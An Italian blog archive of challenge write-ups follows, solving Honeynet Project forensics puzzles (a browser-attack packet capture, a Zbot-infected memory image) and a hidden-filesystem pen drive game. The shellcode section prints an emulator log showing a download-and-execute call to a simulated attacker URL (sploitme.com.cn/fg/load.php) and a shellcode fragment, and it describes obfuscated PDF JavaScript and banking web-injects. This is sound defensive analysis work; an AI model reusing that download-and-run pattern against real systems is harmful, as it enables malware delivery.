Il non-blog di Mario Pascucci

Sto lavorando sodo per preparare il mio prossimo errore (B. Brecht)

Archivio per la categoria Giochi e sfide “numeriche”

Honeynet Project: Challenge 3/2010 (II parte)

Aug 19

Pubblicato da Mario Pascucci in Computer Forensics, Giochi e sfide "numeriche", Information security | Nessun commento

La prima parte è qui.

La quinta domanda chiedeva se era possibile estrarre qualche file dal processo inizialmente responsabile per l’attacco. Dato che il processo sospettato era Acrobat Reader, tramite Volatility ne ho estratto l’immagine in memoria del processo, dopodiché ho provato ad usare foremost su di essa. Il risultato è interessante, anche perché due file PDF estratti dall’impronta in memoria del processo non vengono estratti se invece si esegue foremost sull’intera immagine della memoria. I due file interessanti sono rispettivamente di 60kbyte e di 600kbyte, ed il primo è cifrato.

Usando i PDF-tools di Didier Stevens si riesce ad analizzare la struttura dei file PDF, anche se tutti risultano corrotti in vari modi.

Quello cifrato non riserva particolari sorprese, mentre quello da 600kbyte ha una “azione automatica” eseguita all’apertura del documento, ossia l’esecuzione di un codice Javascript. Il codice Javascript è nascosto in un blocco con il tag di identificazione del tipo offuscato: /F#6c#61#74e#44e#63#6fde e /#41#53#43II#38#35#44#65#63#6fd#65 che in realtà corrispondono a: /FlateDecode /ASCII85Decode. Usando l’utility pdf-parser.py, sempre nei PDF-tools, si riesce ad estrarre il blocco ed a mettere le mani in un consistente blocco (84kbyte) di codice Javascript pesantemente offuscato.

La sesta domanda chiede di individuare la tecnica usata per sferrare l’attacco. Questa è forse la risposta che ha richiesto più lavoro. L’attacco viene portato dal file PDF usando un tag di tipo /AA, che nel formato PDF sta per Add Action. In breve, è possibile associare un’azione alla visualizzazione di una determinata pagina. In questo caso l’azione è stata di mandare in esecuzione il blocco di codice Javascript. Per capire cosa abbia fatto il codice, occorre invertire l’offuscamento, ma le cose non sono così semplici. Il Javascript usato da Acrobat Reader è certamente standard, tanto da essere possibile eseguirlo in Firefox, ad esempio, ma quello che cambia drasticamente sono le funzioni disponibili all’interno dell’ambiente di esecuzione. In Acrobat, Javascript ha a disposizione tutte le funzioni necessarie per lavorare con i file PDF (e non solo quelli), funzioni che in Firefox, ad esempio, non esistono. Quindi eseguire il blocco di codice Javascript in Firefox, racchiudendolo tra i tag SCRIPT non produce alcun risultato utile. Esaminando un po’ il codice “a vista” si riesce ad individuare una chiamata alla funzione Javascript eval( ). Riuscire a vedere il parametro (la stringa) passata ad eval spesso significa vedere il codice non offuscato. Installando Firebug in Firefox si riesce nell’intento. Basta piazzare un breakpoint subito prima della chiamata alla funzione eval e si ottiene il codice Javascript in chiaro.

Ebbene, il codice Javascript contiene ben tre differenti shellcode, da usare in funzione della versione di Acrobat Reader (7, 8 o 9). In tutti e tre i casi il risultato dell’esecuzione dello shellcode è che viene scaricato un file eseguibile ed avviato senza possibilità di intervento dell’utente.

La settima domanda chiede di individuare eventuali file sospetti caricati da un qualsiasi processo attivo nella macchina in esame, e se tale file possa essere messo in relazione con l’attacco iniziale. Anche qui Volatility fa la parte del leone, utilizzando anche un plugin sviluppato da Michael Hale Ligh. Nel processo relativo a WinLogon si trovano quattro file sospetti: \WINDOWS\system32\sdra64.exe, \WINDOWS\system32\lowsec\user.ds, \_AVIRA_2109 e \WINDOWS\system32\lowsec\local.ds. Dalla successiva analisi si vedrà che tali file sono associati proprio al malware Zbot. Eseguendo il citato plugin di Volatility per estrarre codice iniettato in altri processi sul processo di WinLogon, si ottengono sei file, ma solo uno di loro contiene stringhe relative ai file sospetti trovati prima. Interessante è anche una lista di nomi di funzioni esportate da alcune DLL di sistema di Windows. Tali funzioni vengono utilizzate per iniettare codice in altri processi. Lo stesso file, passato a VirusTotal per l’analisi viene identificato come una variante di Zbot.

Tags: , ,

Non si può vincere sempre

Jul 27

Pubblicato da Mario Pascucci in Computer Forensics, Giochi e sfide "numeriche", Information security | Disattiva commenti

Altrimenti non si capirebbe la differenza.

Alla quarta sfida del progetto Honeynet, quella sul VoIP, ho totalizzato 60 punti su 63, classificandomi quarto. Mi rifarò nelle prossime sfide, potete contarci. Piuttosto, nessuno che voglia cimentarsi in una gara nella gara, confrontando i risultati al termine delle votazioni?

Non lasciatemi solo a difendere la bandiera tricolore!

Tags: , ,

Honeynet Project: Challenge 3/2010 (I parte)

Jun 24

Pubblicato da Mario Pascucci in Computer Forensics, Giochi e sfide "numeriche", Information security | Disattiva commenti

Ho da poco inviato la mia soluzione alla quarta sfida del progetto Honeynet, riguardante il VoIP. Nell’attesa dei risultati, previsti per la fine di luglio, vediamo la soluzione data alla terza sfida del progetto, che riguardava l’analisi di una immagine di memoria acquisita live su un computer presumibilmente colpito da una qualche forma di malware.

Problemi con l’home banking

Nella mia soluzione ho premesso un riassunto generale di come si è svolta la sequenza di azioni dedotte dall’analisi. Non era richiesta, ma ho pensato che, data la complessità della sfida, fornire un quadro generale avrebbe aumentato la comprensione.

Il campione da esaminare è l’immagine della memoria, un file da 500mbyte.

Tutto inizia con un messaggio e-mail, contenente un allegato in PDF, che all’apertura in Acrobat Reader provoca l’esecuzione di un frammento di Javascript che, sfruttando una falla in Acrobat, riesce a scaricare ed a mandare in esecuzione un eseguibile, senza alcun intervento da parte dell’utente.
L’eseguibile è una variante del malware Zbot, un pezzo del kit di crimeware denominato ZeuS. Questo malware, fra le altre cose, posiziona alcune chiavi di registro relative al processo di WinLogon, assicurandosi l’avvio ad ogni partenza del sistema. Alla partenza sfrutta il meccanismo degli hooks per iniettare codice in tutti i processi di sistema ed utente di cui ha bisogno per fare il suo lavoro.

Andiamo con la prima domanda, che chiede di elencare i processi in esecuzione al momento dell’acquisizione della memoria del computer colpito e di indicare quale sia il processo responsabile della prima fase dell’attacco.
Ricavare questo da una immagine di memoria non è proprio banale, per cui mi sono documentato ed ho trovato una raccolta di strumenti per l’analisi della memoria di Windows, denominata Volatility.
Tramite questi strumenti, open source, è possibile ricavare parecchie informazioni senza andare di editor esadecimale e di certosina pazienza.
Con la funzione di elenco processi di Volatility, appunto, in pochi secondi si ha la lista completa. Ora si tratta di individuare quello responsabile. Se tutto è nato da un PDF allegato ad un messaggio e-mail, è molto probabile che il colpevole sia Acrobat Reader (che ha PID 1752), ma per puntare il dito con più certezza occorre andare avanti con l’analisi.

La domanda successiva chiede di mostrare l’elenco dei socket aperti sul computer vittima, e di indicare se vi siano processi sospetti che abbiano socket aperti.
Occorre incrociare i dati di tre liste, quella dei processi, quella dei socket aperti e quella delle connessioni di rete, in quanto le ultime due fanno riferimento al PID del processo che li gestisce, mentre la lista dei socket elenca anche su che protocollo e quale porta è attivo il socket, dato da incrociare con la connessione TCP o UDP che lo usa.
In breve, saltano fuori tre connessioni sospette, due con un indirizzo IP di un hosting israeliano, una con un indirizzo IP di un hosting maltese.
Vi sono anche altri socket sospetti, due dei quali fanno riferimento alle porte usate nel servizio UPnP di Windows (vedere l’articolo della knowledge base kb832017).
Vi sono dei riferimenti ad un indirizzo IP (192.168.0.1), che tornano ad una semplice ricerca di stringhe all’interno dell’immagine. Verosimilmente si tratta delle pagine di amministrazione web di un router/gateway per piccoli uffici. Sempre nell’immagine della memoria si trovano tracce di queste pagine web e di alcune transazioni SOAP volte ad aprire porte da Internet verso il computer in analisi.
Potrebbe non essere significativo, ma potrebbe anche essere il segno di un tentativo di sfruttare una nota vulnerabilità del protocollo UPnP, per cui non si possono trattare come innocue.
In definitiva, abbiamo due processi con porte aperte o connessioni sospette: PID 880, una istanza di svchost.exe, ed il processo di Acrobat Reader, che pur essendo responsabile probabilmente solo della violazione iniziale, ha ancora due connessioni in piedi col server web che ha originato l’attacco.

La terza domanda chiede di elencare gli eventuali URL sospetti nella memoria del processo sotto indagine.
Gli URL ci sono, cercandoli sia usando gli indirizzi IP trovati in precedenza, sia usando il nome “search-network-plus.com”, con cui è stato registrato l’indirizzo IP dell’hosting israeliano. Gli URL dell’hosting maltese fanno pensare ad un sito terzo, forse violato, su cui è stato inserito uno script PHP che provvede a reindirizzare il visitatore verso l’hosting israeliano, che provvede a fornire il file PDF forgiato.

La quarta domanda chiede se vi siano riferimenti riconducibili a problemi con l’home banking, quali siano i processi e gli URL.
Un URL in particolare è molto interessante, quello che riporta il nome di un noto istituto bancario americano. L’URL è scritto usando alcuni caratteri a mo’ di wildcard. Ebbene, questo schema è del tutto identico a quello usato nel malware Zbot per indicare in quali pagine web visitate è da iniettare il codice HTML per rubare le credenziali di accesso.
In pratica, questo malware riesce a intercettare tutto il traffico con Internet e sulla base degli URL indicati riesce a modificare al volo il codice HTML ricevuto dal sito dell’istituto bancario. Queste modifiche sono volte a deviare le credenziali inserite dall’ignaro utente verso che controlla il malware. In breve, opera come in una operazione di phishing, ma il sito che viene visitato è quello della banca, e il furto di credenziali avviene nel computer dell’utilizzatore e vittima, non in un sito contraffatto.

Tags: , ,

Honeynet Project: Challenge 2/2010 (III e ultima parte)

Jun 10

Pubblicato da Mario Pascucci in Computer Forensics, Giochi e sfide "numeriche", Information security | Disattiva commenti

Questa è la parte finale della soluzione. Le precedenti sono qui e qui.

La nona domanda chiedeva quali azioni fossero eseguite dagli shellcode, di elencarli (insieme all’hash MD5 del binario) e di mostrare le differenze fra loro.
Gli shellcode sono tutti contenuti nel pacchetto #496, all’interno del codice Javascript offuscato. L’unica differenza viene da un URL codificato all’interno degli shellcode stessi, in cui varia il valore del solo parametro “e” di tipo url-encoded.
Come estrarre gli shellcode è abbastanza semplice: ho usato un copia e incolla del blocco codificato in UTF in un comando shell per convertire il simbolo di percentuale in backslash, poi ho scritto tre-righe-tre di Python per trasformare il tutto in un file binario. Questo il comando shell:

$ echo "%uc033%u8B64%u3040...." | tr "%" "\\"

Questa invece la sequenza dei comandi Python:

import io
import codecs
f = io.open('spreadsheet.bin','w',1,'utf-16')
a=u'\uC033\u8B64\u3040....' (output dal comando tr)
f.write(a)
f.close()

Il risultato è un file codificato in UTF, con in testa il BOM (Byte Order Mark), i due byte 0xFE e 0xFF, che a noi non servono, e quindi li tagliamo con il comando:

$ dd if=aolwinamp.utf of=spreadsheet.bin bs=1 skip=2

Et-voilà, ora abbiamo lo shellcode in binario pulito. Come capire cosa faccia, è tutto un altro paio di maniche. Procedere al solo disassembly è inutile, in quanto quasi certamente verranno chiamate funzioni proprie del sistema operativo, che in assembler sono delle semplici “call” con un indirizzo fisico, totalmente inintelligibili. Viene in aiuto un programma, creato dagli stessi del progetto Honeynet, chiamato libemu.
Occorre scaricarlo e compilare gli esempi, fra cui c’è sctest, che “esegue” lo shellcode tracciandone le azioni e le funzioni di sistema chiamate, oltre alle eventuali librerie utilizzate.
Fin qui niente di strano, se non fosse che lo shellcode in esame contiene una chiamata ad una funzione di sistema che non è compresa fra quelle emulate, GetTempPathA, quindi libemu esce con un messaggio di errore, dato che non ha idea di come “emulare” questa funzione. Una ricerca sul sito Microsoft dedicato agli sviluppatori e si trova la definizione della funzione, con i parametri in ingresso ed il valore di ritorno atteso. Poi occorre mettere mano al sorgente di libemu per creare un “hook” alla funzione mancante. Basta copiare il codice di una simile, cambiando opportunamente i parametri ed il valore di ritorno, poi modificare i vari header per includere la funzione fra quelle conosciute. Ricompilare (correggere gli inevitabili errori…) e riprovare. Ecco l’output:

$ /opt/libemu/bin/sctest -Svgs 1000000 < spreadsheet.bin
verbose = 1
success offset = 0x00000000
Hook me Captain Cook!
userhooks.c:127 user_hook_ExitThread
ExitThread(0)
stepcount 295995
UINT GetTempPath (
     LPTSTR lpBuffer = 0x0012fe18 =>
         none;
     UINT uSize = 136;
) = 19;
HMODULE LoadLibraryA (
     LPCTSTR lpFileName = 0x0012fe04 =>
           = "urlmon.dll";
) = 0x7df20000;
HRESULT URLDownloadToFile (
     LPUNKNOWN pCaller = 0x00000000 =>
         none;
     LPCTSTR szURL = 0x004170e0 =>
           = "http://sploitme.com.cn/fg/load.php?e=8leCursorInfo";
     LPCTSTR szFileName = 0x0012fe18 =>
           = "e.exe";
     DWORD dwReserved = 0;
     LPBINDSTATUSCALLBACK lpfnCB = 0;
) = 0;
UINT WINAPI WinExec (
     LPCSTR lpCmdLine = 0x0012fe18 =>
           = "e.exe";
     UINT uCmdShow = 0;
) = 32;
void ExitThread (
     DWORD dwExitCode = 0;
) = 0;

Tradotto: viene scaricato un file, chiamato poi “e.exe”, dall’URL http://sploitme.com.cn/fg/load.php?e=8, e mandato in esecuzione.
Nell’attuale versione di libemu non è più necessario fare tutta la trafila, la chiamata di sistema è già correttamente emulata.

La decima domanda chiedeva se vi fosse coinvolto un malware e quale ne fosse lo scopo. In cinque occasioni viene scaricato un file eseguibile, identico in tutte le istanze, che non viene identificato da nessun antivirus come pericoloso. Eseguito in una macchina virtuale risulta in un errore di tipo Access Violation (0xc0000005), ed anche disabilitando la “Executable Prevention Protection” non si ottiene nulla.
Usando il comando strings sull’eseguibile si trovano tre stringhe significative, una delle quali è il path completo per lanciare Internet Explorer, nella versione inglese di Windows però, visto che il path è cablato nell’eseguibile e usa la directory “Program Files”.
L’azione dell’eseguibile è probabilmente lanciare Internet Explorer e puntarlo ad un sito particolare, nel caso in esame verso il sito del progetto Honeynet.

Ed eccoci alla domanda bonus, che era offuscata usando una semplice codifica Base64. Una volta decodificata, la domanda verte sulla timeline, ossia sulla collocazione temporale degli eventi registrati. In pratica, mentre la cattura appare iniziata il primo di gennaio 2010 all’una di notte, all’interno di alcuni protocolli vi sono riferimenti temporali che riportano una data differente, il 2 febbraio 2010 alle ore 19.
La spiegazione più semplice è che sia stata modificata la data di inizio, e che la cattura sia avvenuta in diretta, come mostrano alcune indicazioni riguardo pause nell’elaborazione e la concordanza in tutti i pacchetti che riportano una collocazione temporale insita nel protocollo stesso (HTTP ad esempio).
Questo conclude l’analisi.

Cosa si può imparare da questa sfida

Personalmente, conoscevo già alcune delle tecniche utilizzate e necessarie per risolvere l’enigma, ma molte altre mi erano sconosciute e le ho dovute acquisire. L’uso di libemu, l’uso di UTF e del BOM, le funzioni di Python per la codifica UTF, per citarne qualcuna.
Naturalmente, il poter risolvere la sfida richiedeva competenze in vari campi: protocolli di rete, linguaggi di programmazione, programmazione sicura, tecniche di sfruttamento delle falle di sicurezza, conoscenza di HTML/CSS e del DOM. Senza queste è impossibile venirne a capo, ed è inutile provarci.

E’ importante capire che non è l’uso degli strumenti, ad essere importante, ma il contesto e lo scopo per cui si utilizzano. Usare libemu è abbastanza banale, ma capire quando usarlo e interpretarne i risultati non è insito nel funzionamento dello strumento, ma spetta all’utilizzatore, cioè a noi. Non è la racchetta che fa il tennista.

Chiudiamo qui. A breve la soluzione della sfida successiva, molto più impegnativa, almeno per me.

Tags: ,

Honeynet Project: Challenge 2/2010 (II parte)

May 27

Pubblicato da Mario Pascucci in Computer Forensics, Giochi e sfide "numeriche", Information security | 1 commento

Come promesso, eccoci alla seconda parte della soluzione per la sfida Browser Under Attack del progetto Honeynet (la I parte è qui).

La quarta domanda chiedeva di tracciare un quadro generale delle operazioni svolte dagli attaccanti. Naturalmente, qui siamo in presenza di una simulazione, nel mondo reale le cose sarebbero andate in questo modo, più o meno:

  • Usando varie tecniche (XSS, RFI, ecc.) gli attaccanti iniettano il codice Javascript in alcuni siti web vulnerabili. Il codice è profondamente offuscato, e lavora in modo nascosto e silenzioso, usando tag IFRAME e applicando stili CSS specifici per nascondere la propria presenza, oltre alle modifiche nelle pagine web attaccate.
  • Quando un visitatore arriva sulla pagina con il codice nascosto, il browser viene “dirottato” verso un server (sploitme.com.cc) che contiene codice attivo di analisi e di attacco. Per prima cosa il browser viene indirizzato con un apposito header HTTP di tipo 302 Found verso una pagina di errore
  • La pagina di errore è in realtà una trappola, ed è falsa, tanto che che l’analisi dei pacchetti di risposta dal server mostra un codice HTTP di risultato del tipo 200 OK, mentre la pagina simula un errore di tipo 404 Not Found (vedi pacchetti #63,174,366). Questa pagina, lato server, contiene in realtà un codice di analisi che controlla il tipo di browser.
  • In funzione del risultato dell’analisi (nel seguito se ne vedrà il tipo e lo scopo), nella falsa pagina 404 viene emesso un altro pezzo di codice Javascript, anche questo profondamente offuscato, che tenta di sfruttare varie falle nel browser per eseguire codice arbitrario.
  • Vi sono indizi (vedi pacchetti da #299 a #366) che il codice lato server sia in grado di capire da quale nazione giunga il visitatore, attraverso uno dei tanti servizi di geolocalizzazione, per escludere i visitatori da una certa nazione, o per includere solo quelli provenienti da una nazione, dall’essere colpiti. La prova viene dalla cattura stessa, dove viene visitato il sito principale di Google, www.google.com, che come sappiamo inoltra i visitatori verso i server di Google della nazione di provenienza: il browser viene inoltrato verso www.google.fr, ossia Google in francese. La visita immediatamente successiva fatta dallo stesso browser ad uno dei siti violati simulati (Il finto RapidShare) porta alla fine ad una falsa pagina 404 sul sito attaccante (sploitme.com.cn) che non contiene alcun codice Javascript (vedi pacchetto #366).

La quinta domanda chiede di elencare le contromisure prese per rallentare l’analisi. Naturalmente, ogni criminale informatico che si rispetti sa che le tracce del suo passaggio sono evidenti ad un occhio esperto, mentre un occhio meno esperto può essere ingannato per un tempo più o meno variabile. Dato che lo scopo è di colpire più utenti possibile, e di rallentare l’individuazione del malware per poter fare più danni possibile, normalmente sono prese alcune contromisure, abbastanza tipiche:

  • Il codice iniettato è sempre offuscato, e qualche volta camuffato da altro, per cui facilmente passa inosservato, anche al webmaster più attento.
  • L’attacco viene portato senza aprire altre finestre o popup, per cui sembra provenire dal sito violato, non dal sito chiamato dal codice Javascript dentro i tag IFRAME.
  • L’attacco è portato appunto da un sito differente, che non compare mai nel codice, ma solo nel Javascript offuscato, per cui è impossibile saperlo senza svelare il codice stesso.
  • Anche svelando il codice Javascript offuscato e ricavando il nome del sito attaccante, ci si trova davanti ad una pagina 404 (falsa ma efficace).
  • Il codice Javascript che tenta di eseguire codice arbitrario sfruttando falle note è codificato usando la notazione Unicode con una escape sequence esadecimale (%u1234), e non è banale da decodificare.

Inoltre, data la presenza di un codice che analizza il tipo di browser che visita la pagina aggressiva, si può ipotizzare che ai visitatori che si presentano con browser e/o sistemi operativi alternativi (come molti professionisti nel campo della sicurezza) venga mostrata una pagina con codice inoffensivo.

La sesta domanda chiede di presentare il codice Javascript identificato nelle precedenti risposte, e di svelarlo, se offuscato. Non riporto per intero il codice, anche perché sarebbe lungo e difficile da comprendere (è riportato per intero nella mia soluzione, pubblicata nella pagina del sito Honeynet relativa alla sfida).
Vale la pena però di fare alcune considerazioni. In tutti i casi il codice Javascript è offuscato, ed in un caso l’offuscamento è annidato, ossia il codice originale è offuscato una prima volta usando la funzione Javascript escape(), ed il risultato è offuscato di nuovo usando una funzione scritta appositamente. Il metodo di offuscamento usato in tutte le false pagine 404 è identico, quello che cambia è il codice Javascript risultante.
Altra cosa da notare è che in presenza del browser Firefox il codice emesso è inoffensivo.

La domanda successiva chiede quale possa essere la funzione della variabile “s” negli URL.
Il valore della variabile è fissato nel codice Javascript iniettato nei siti violati, ed è differente da un sito all’altro. Il valore viene mantenuto nei vari reindirizzamenti, per cui lo scopo non è quello di selezionare l’attacco, cosa che invece è decisa in base al browser o alla geolocalizzazione. Lo scopo, verosimilmente, è quello dell’affiliazione, ossia decidere a chi appartiene il computer dell’ignaro visitatore ad uno dei siti violati, attaccata e conquistata da un malware. Dato che il server che distribuisce il malware è unico, con questo modo si individua l’appartenenza ad un circuito botnet differente. Se il sito A è violato da Mario, ed il sito B è violato da Carlo, tutti e due i siti reindirizzano verso il server attaccante, ma ognuno con un codice di affiliazione differente, permettendo di distinguere a chi assegnare il computer colpito.

L’ottava domanda chiede quale sistema operativo e quale browser siano i bersagli scelti per l’attacco, quali vulnerabilità siano colpite e se sia possibile prevenire l’attacco stesso.
La riposta è piuttosto articolata, ed in breve può essere riassunta così: il bersaglio è Windows XP con Service Pack 2 o precedenti, il browser è Internet Explorer 6, di cui vengono attaccati parecchi componenti ActiveX, sia nativi che forniti da altre applicazioni. Alcune vulnerabilità sono state scoperte nel 2005, mentre altre sono molto recenti, risalendo a fine 2009.
L’unica prevenzione è aggiornare sistema operativo, browser e applicazioni. Naturalmente (questo non l’ho scritto nella soluzione presentata), usando un account non amministrativo per navigare, pur rimanendo colpiti dal malware, in molti dei casi esposti sopra questo non può fare danni, in quanto non ha i privilegi amministrativi, essendo eseguito con i privilegi di Internet Explorer, quindi di un utente “limitato”. Visto che nessuno usa questa strategia, chi sfrutta queste vulnerabilità ha la certezza di colpire praticamente chiunque gli venga a tiro.

Chiudiamo qui. La prossima e ultima parte sarà piuttosto corposa, visto che riguarderà l’analisi degli shellcode.

Tags: ,

Honeynet Project: Challenge 2/2010 (I parte)

May 13

Pubblicato da Mario Pascucci in Computer Forensics, Giochi e sfide "numeriche", Information security | 4 commenti

Il Progetto Honeynet, fondato nel 1999 da un gruppo di volontari, si pone come fine quello di aumentare la sicurezza in Internet senza scopo di lucro, avendo ben in mente il concetto di Open Source. Attraverso tre strategie, attenzione, informazione e strumenti, cerca semplicemente di fare la differenza,

Uno degli strumenti è la periodica pubblicazione di “sfide” a partecipazione pubblica che hanno come oggetto l’investigazione di un incidente di sicurezza, spesso preso da situazioni reali. In generale la sfida funziona in questo modo: c’è un antefatto, che serve a creare l’ambientazione della storia, c’è il dato da esaminare e c’è la lista delle domande a cui rispondere, ognuna col suo punteggio. Dalla data di pubblicazione di solito vengono lasciate tre o quattro settimane per rispondere, poi dopo due ulteriori settimane vengono pubblicati i risultati e la soluzione ufficiale.

Fino ad oggi ho partecipato a quattro di queste sfide:

  • La prima nel 2004 (all’epoca si chiamavano Scan of the Month) riguardava il reverse engineering di un malware “fatto in casa”.
  • La seconda è la prima sfida pubblicata nel 2010, dopo alcuni anni in cui non sono state pubblicate sfide. La sfida riguardava l’analisi di una registrazione del traffico di rete durante l’attacco di un malware. Non è andata molto bene, l’analisi era incompleta, per cui sono arrivato diciottesimo su 91 partecipanti.
  • La terza è la seconda sfida del 2010, riguardante l’analisi della registrazione del traffico di rete durante l’attacco portato al browser di un computer durante la navigazione. In questo caso posso dire che è andata decisamente meglio: primo a pari merito con altri tre sfidanti.
  • La quarta è la terza sfida pubblicata, riguardante l’analisi di un computer sospettato di essere attaccato da un malware in grado di rubare credenziali di accesso a servizi online ed altri dati riservati.

Al momento in cui scrivo sono stati appena pubblicati i risultati dell’ultima sfida, in cui mi sono classificato primo. Tutte le sfide sono state molto stimolanti, ed ho potuto applicare parte dell’esperienza acquisita in questi anni di analisi di siti web compromessi, anche se in ogni sfida c’era molto altro.

Per questo motivo ho pensato di procedere a pubblicare, un pezzo alla volta, le soluzioni di quelle cui partecipo, scelte fra quelle che ritengo più interessanti e stimolanti, oltre che di valore didattico.

Partiamo quindi con la sfida “Browser sotto attacco“.

Attacco al browser, prima parte

La storia è molto semplice: analizzare il campione fornito, e rispondere alle domande. Il campione è il risultato di una registrazione del traffico di rete e salvato nel formato detto libpcap, dal nome di una nota libreria Open Source alla base di molti programmi utilizzati come sniffer di rete (tcpdump, WireShark, Winpcap, ecc). l file è piuttosto piccolo, 300k in tutto.

Usando Wireshark, possiamo aprirlo e cominciare ad orientarci.

Wireshark all'avvio

L'inizio del file di cattura in Wireshark

La prima domanda chiede di elencare i protocolli presenti nel file della cattura e di indicare quale sia il protocollo utilizzato per l’attacco, anche se naturalmente a questa seconda domanda potremo rispondere solo più avanti nell’analisi. In ogni caso l’elenco dei protocolli è in due gruppi, quelli di più basso livello (IP, ARP, ICMP, UDP, TCP, IGMP) e quelli di più alto livello (DHCP, HTTP, NetBIOS, DNS).
Ho semplicemente contato ed elencato a mano i protocolli, ma, guardando la soluzione originale, si poteva utilizzare chaosreader per estrarre i dati in formato testo e lavorarci sopra di grep.
In questo caso la cattura era piuttosto breve, quindi me la sono cavata con poco, ma se fosse stata una cattura di tipo differente (ho dovuto spesso esaminare sessioni di cattura da qualche decina di gigabyte, in file da un giga l’uno…) non me la sarei cavata tanto facilmente.
Un aiuto viene anche da Wireshark, utilizzando la funzione “Protocol Hierarchy” del menu “Statistics”.

La funzione Protocol Hierarchy di Wireshark

Per quanto riguarda il protocollo usato per l’attacco, si tratta di HTTP, come sarà evidente durante l’analisi.

La seconda domanda era già più articolata: elencare indirizzi IP, i nomi degli host e di dominio. Inoltre si chiede cosa si possa dedurre da questi dati e se sia una situazione reale. Abbiamo parecchi indirizzi IP, ma uno sguardo attento mostra che possono essere raggruppati in alcune categorie:

  • Vittime: 10.0.2.15, 10.0.3.15, 10.0.4.15, 10.0.5.15
  • Attaccanti: 192.168.56.52 (hostname: sploitme.com.cn)
  • Servizi: 10.0.2.2, 10.0.3.2, 10.0.4.2, 10.0.5.2 (DHCP server e gateway); 192.168.1.1 (DNS)
  • Host violati simulati: 192.168.56.51 (hostname: shop.honeynet.sg), 192.168.56.50 (hostname: rapidshare.com.eyu32.ru)
  • Host esterni: www.honeynet.org, www.google.com, www.google.fr, www.google-analytics.com

Gli indirizzi IP delle vittime e dei server DHCP sono della stessa classe di quelli assegnati di default dall’ambiente di rete virtuale creato da Qemu, come pure i MAC address dei server DHCP. Questo, verosimilmente, ci suggerisce che sia gli host vittima che i server DHCP sono macchine virtuali, usate come honeypot.
Gli indirizzi IP degli attaccanti sono privati (vedi rfc1918), ed il loro nome di dominio non esiste in Internet o, meglio, non è registrato su alcun servizio conosciuto, quindi anche gli attaccanti sono simulati. Unica eccezione viene dall’host shop.honeynet.sg che esiste e viene risolto con l’indirizzo IP 203.117.131.40, ma nella cattura in analisi non viene mai contattato ed ogni richiesta viene indirizzata verso un host interno privato (indirizzo IP 192.168.56.51).
Tutte queste informazioni possono essere ricavate con strumenti di uso comune in Linux per l’interrogazione dei database pubblici degli indirizzi IP e dei nomi di dominio, come dig, whois e host.

La terza domanda entra nel vivo dell’analisi, chiedendo di elencare le pagine web visitate, e di indicare quelle contenenti codice Javascript sospetto o possibilmente dannoso, e quale host la stia visitando, descrivendo brevemente la natura del codice sospetto o dannoso. L’elenco è lungo e articolato, in grassetto le pagine “interessanti”:

  1. rapidshare.com.eyu32.ru/login.php: questa pagina contiene codice Javascript offuscato che carica in un tag IFRAME la pagina [2]
  2. sploitme.com.cn/?click=3feb5a6b2f: questa pagina risponde con un header HTTP di tipo 302 Found, e dirotta i visitatori verso la pagina [3]
  3. sploitme.com.cn/fg/show.php?s=3feb5a6b2f: una falsa pagina di errore 404, contenente una porzione di codice Javascript che cambia in funzione di che browser visita la pagina
  4. sploitme.com.cn/fg/load.php?e=1: questa pagina restituisce un eseguibile binario per Windows che apre il sito [5]
  5. www.honeynet.org: sito ufficiale del progetto Honeynet
  6. www.google.com: Google
  7. www.google.fr: Google in francese
  8. www.google.fr/generate_204: una pagina di servizio di Google
  9. shop.honeynet.sg/catalog/: anche in questa pagina c’è un pezzo di Javascript offuscato che carica la pagina [10] in un tag IFRAME.
  10. sploitme.com.cn/?click=84c090bd86: identica situazione della pagina [2], con un header HTTP di tipo 302 Found, che dirotta verso la pagina [11]
  11. sploitme.com.cn/fg/show.php?s=84c090bd86: questa pagina è una delle più interessanti. Contiene un pezzo notevole di codice Javascript, fortemente offuscato, che tenta di sfruttare un numero consistente di vulnerabilità note, quasi tutte relative a controlli ActiveX. Nel seguito dell’analisi vi saranno tutti i dettagli
  12. sploitme.com.cn/fg/directshow.php: questa pagina è chiamata dal codice Javascript in [11], e contiene una falsa immagine Jpeg necessaria a sfruttare un bug in un altro controllo ActiveX
  13. sploitme.com.cn/fg/load.php?e=3: stessa situazione della pagina [4]
  14. sploitme.com.cn/fg/show.php: stessa situazione della pagina [3]
  15. www.google-analytics.com: pagina di Google Analytics

Riassumendo, vi sono tre categorie di pagine:

  • pagine relative a siti web violati (simulati), con codice Javascript iniettato (pagine [1] [9]) che forzano il browser a caricare pagine da altri siti
  • pagine attive di attacco ([3], [11], [14], tutte con lo stesso URL di base) che scelgono che attacco sferrare in funzione del tipo di browser e della geolocalizzazione dell’indirizzo IP del visitatore
  • pagine di servizio: la root di sploitme.com.cn che opera un redirect con un header HTTP 302 Found; sploitme.com.cn/fg/load.php che in funzione del parametro “e” codificato nell’URL fornisce un eseguibile, verosimilmente un malware; sploitme.com.cn/fg/directshow.php che invece fornisce un file Jpeg forgiato al fine di sfruttare alcune vulnerabilità

Come si possa affermate tutto ciò sarà evidente nel seguito.

Fine della prima parte. Fra qualche giorno il seguito.

Tags: ,

Un pen drive “multistrato”: la soluzione

Dec 31

Pubblicato da Mario Pascucci in Giochi e sfide "numeriche", Information security | 13 commenti

Eccoci finalmente al momento di rivelare tutti i segreti del game di data hiding. Come prima cosa voglio ringraziare tutti i partecipanti per il tempo speso e soprattutto per essere “stati al gioco”. Andiamo al sodo.

Le bandierine

Il pen drive contiene due filesystem nascosti, oltre a quello “visibile”. Entrambi sono di tipo FAT, creati con l’ausilio dei loop device in Linux. Il primo, in FAT32 con etichetta di volume nascosto1, ha questi dati di dimensione ed utilizzo:

  • Totale: 1.009.729.536 byte
  • Usati: 11.706.368 byte
  • Liberi: 998.023.168 byte

Per poterlo montare senza lamentele da parte del sistema operativo, basta creare un loop device con questo comando:

# losetup -o 1009935360 /dev/loop1 pen-drive.dd

e di seguito usare il comando mount sul device appena assegnato, ossia loop1, in questo modo:

# mount -t vfat /dev/loop1 /media/loop1 -o ro,noatime

Le opzioni usate sono per essere proprio sicuri che niente venga toccato. I file sono quattro, tutte immagini. Lavorando con i comandi ls e stat si ottengono tutte le informazioni richieste:

# ls -l
-rwxr-xr-x 1 root root 3256972 21 ott 13:26 img_0154.jpg
-rwxr-xr-x 1 root root 2882079 21 ott 13:26 img_0155.jpg
-rwxr-xr-x 1 root root 3447899 21 ott 13:26 img_0156.jpg
-rwxr-xr-x 1 root root 2107408 21 ott 13:26 img_0477.jpg
# stat *
  File: `img_0154.jpg'
  Size: 3256972   	Blocks: 6368       IO Block: 4096   regular file
Device: 701h/1793d	Inode: 6           Links: 1
